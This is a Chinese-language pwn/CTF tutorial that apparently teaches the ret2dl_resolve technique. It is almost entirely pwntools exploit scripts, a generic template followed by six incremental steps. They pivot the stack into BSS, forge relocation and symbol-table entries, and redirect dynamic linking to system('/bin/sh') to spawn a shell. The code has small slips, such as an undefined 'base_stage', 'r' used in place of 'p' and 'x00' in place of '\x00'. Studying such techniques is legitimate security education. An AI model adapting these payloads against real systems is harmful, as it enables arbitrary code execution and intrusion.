预备知识
通用解题目脚本:
##考虑到栈空间不足,一般会进行栈迁移到BSS,原理是pop操作用的的是esp寄存器 p = process('./your pro') elf = ELF('./your pro') bss_base = elf.bss() #BSS基本地址,用来搬迁栈 plt_0 = 0x**** ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数 rel_plt = 0x**** ##objdump -s -j .rel.plt *** 查询rel.plt表基址 dynsym = 0x**** ##查询 dynsym基地址,保存sym结构体 dynstr = 0x**** ##查询 dynstr 基地址,保存函数名表项 index_offset=New_stack+xx-rel_plt #从Fake栈顶偏移XX开始伪造是因为中间还有数据 write_got = elf.got['write'] #这里将会在后面替换write的GOT表 fake_sym_addr = New_stack + XXX align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 ## 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号 r_info = (index_dynsym << 8) | 0x7 fake_reloc = p32(write_got) + p32(r_info) #构建Fake rel.plt表项 st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体 payload = 'A'*偏移 payload+= #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP 因为pop是根据RSP定位的 payload += p32(pop_ebp_ret) #搬迁ebp payload += p32(New_stack) #将ebp搬迁到Fake栈顶 payload += p32(leave_ret) #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。 p.send(payload) payload2 = 'AAAA' #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶 payload2 += p32(plt_0) #将EIP指向plt[0] payload2 += p32(index_offset) #等下会从plt[0]+index_offset跳转到我们的Fake_reloc payload2 += 'AAAA' #函数返回地址 payload2 += p32(1) #fd payload2 += p32(New_stack + xx) #buf 读取数据的位置 payload2 += p32(len(cmd)) payload2 += fake_reloc # (New_stack +xx)的位置 payload2 += 'B' * align payload2 += fake_sym # (New_stack +xxx)的位置 payload2 += "systemx00" #Fake st_name payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) p.sendline(payload2) p.interactive()
step1-step6 从潜到深学习
from pwn import * pop_esi_edi_ebp_ret=0x08048619 pop_ebp_ret=0x0804861b leave_ret=0x08048458 #--only "leave|ret" offset=112 stack_size=0x800 #move stack to bss and control write() def step1(): p.recvuntil('2015~! ') payload = 'A' * offset #填充 payload += p32(read_plt) #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP 因为pop是根据RSP定位的。 payload += p32(pop_esi_edi_ebp_ret) #函数返回地址,这里选择弹出read的三个参数 payload += p32(0) #fd payload += p32(bss_addr+stack_size) #buf payload += p32(100) #len payload += p32(pop_ebp_ret) #搬迁ebp payload += p32(bss_addr+stack_size) #将ebp搬迁到Fake栈顶 payload += p32(leave_ret) #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。 p.send(payload) cmd = "/bin/sh" payload2 = 'AAAA' #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶 payload2 += p32(write_plt) payload2 += 'AAAA' #函数返回地址 payload2 += p32(1) #fd payload2 += p32(bss_addr+stack_size + 80) #buf 读取数据的位置 payload2 += p32(len(cmd)) #len payload2 += 'A' * (80 - len(payload2)) #填充 payload2 += cmd + 'x00' #buf 填充的数据 payload2 += 'A' * (100 - len(payload2)) p.sendline(payload2) p.interactive() #控制eip返回PLT[0],带上write的index_offset #因为调用dl_runtime_resolve时,一会修改GOT地址,二是会调用函数运行 def step2(): plt0=0x8048380 #objdump -d main index_offset=0x20 #查表 #index_offset=Fake-plt[0] p.recvuntil('2015~! ') payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) payload += p32(0) payload += p32(bss_addr+stack_size) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(bss_addr+stack_size) payload += p32(leave_ret) p.send(payload) cmd = "/bin/sh" payload2 = 'AAAA' payload2 += p32(plt_0) #将EIP指向plt[0] ---|这两步骤等同于call write() payload2 += p32(index_offset) #传入index参数 ---| payload2 += 'AAAA' payload2 += p32(1) payload2 += p32(bss_addr+stack_size + 80) payload2 += p32(len(cmd)) payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) r.sendline(payload2) r.interactive() #控制index_offset,使其指向我们构造的fake_reloc def step3(): #构造Fake reloc结构体,也就是rela.plt cmd="/bin/sh" plt0=0x8048380 #objdump -d -j .plt main rel_plt=0x08048330 #objdump -s -j .rel.plt main index_offset=bss_addr+stack_size+28-rel_plt #从Fake栈顶偏移28开始伪造是因为中间还有数据 write_got = elf.got['write'] #正常写入对应的GOT表 r_info = 0x607 # write: Elf32_Rel->r_info = 表项<<8+0x07过检测 fake_reloc = p32(write_got) + p32(r_info) #创建Fake结构体 p.recvuntil('2015~! ') payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) payload += p32(0) payload += p32(bss_addr+stack_size) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(bss_addr+stack_size) payload += p32(leave_ret) p.send(payload) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) #等下会从plt[0]+index_offset跳转到我们的Fake_reloc payload2 += 'AAAA' payload2 += p32(1) payload2 += p32(bss_addr+stack_size + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc # (bss_addr+stack_size+28)的位置 payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) r.sendline(payload2) r.interactive() #构造fake_sym,使其指向我们控制的st_name def step4(): cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (bss_addr+stack_size + 28) - rel_plt write_got = elf.got['write'] #开始构造 dynsym = 0x080481d8 #sym位置 dynstr = 0x08048278 #st_name位置 fake_sym_addr = bss_addr+stack_size + 36 #偏移36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号 r_info = (index_dynsym << 8) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) p.recvuntil('2015~! ') payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) payload += p32(0) payload += p32(bss_addr+stack_size) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(bss_addr+stack_size) payload += p32(leave_ret) p.send(payload) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1) payload2 += p32(bss_addr+stack_size + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc # (bss_addr+stack_size+28)的位置 payload2 += 'B' * align payload2 += fake_sym # (bss_addr+stack_size+36)的位置 payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) p.sendline(payload2) p.interactive() #伪造st_name位置指向我们的字符串 def step5(): cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt = 0x08048330 index_offset = (bss_addr+stack_size + 28) - rel_plt write_got = elf.got['write'] dynsym = 0x080481d8 dynstr = 0x08048278 fake_sym_addr = bss_addr+stack_size + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) p.recvuntil('2015~! ') payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) payload += p32(0) payload += p32(bss_addr+stack_size) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(bss_addr+stack_size) payload += p32(leave_ret) p.send(payload) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1) payload2 += p32(bss_addr+stack_size + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc # (bss_addr+stack_size+28)的位置 payload2 += 'B' * align payload2 += fake_sym # (bss_addr+stack_size+36)的位置 payload2 += "writex00" payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) p.sendline(payload2) p.interactive() #替换write为system,并修改system的参数 def step6(): cmd = "/bin/sh" plt_0 = 0x08048380 ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数 rel_plt = 0x08048330 ##objdump -s -j .rel.plt *** 查询rel.plt表基址 index_offset = (bss_addr+stack_size + 28) - rel_plt #从Fake栈顶偏移28开始伪造是因为0-28中间还有数据 write_got = elf.got['write'] ##这里将会在后面替换write的GOT表 dynsym = 0x080481d8 ##查询 dynsym基地址,保存sym结构体 dynstr = 0x08048278 ##查询 dynstr 基地址,保存函数名表项 fake_sym_addr = bss_addr+stack_size + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号 r_info = (index_dynsym << 8) | 0x7 fake_reloc = p32(write_got) + p32(r_info) #构建Fake rel.plt表项 st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体 p.recvuntil('2015~! ') payload = 'A' * offset payload += p32(read_plt) payload += p32(pop_esi_edi_ebp_ret) payload += p32(0) payload += p32(bss_addr+stack_size) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(bss_addr+stack_size) payload += p32(leave_ret) p.send(payload) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(base_stage + 80) payload2 += 'aaaa' payload2 += 'aaaa' payload2 += fake_reloc # (base_stage+28)的位置 payload2 += 'B' * align payload2 += fake_sym # (base_stage+36)的位置 payload2 += "systemx00" #Fake st_name payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + 'x00' payload2 += 'A' * (100 - len(payload2)) p.sendline(payload2) p.interactive() if __name__ =="__main__": p=process('./main') elf=ELF('./main') write_plt=elf.plt['write'] read_plt = elf.plt['read'] bss_addr=elf.bss() #step1() #step2() #step3() #step4() #step5() step6()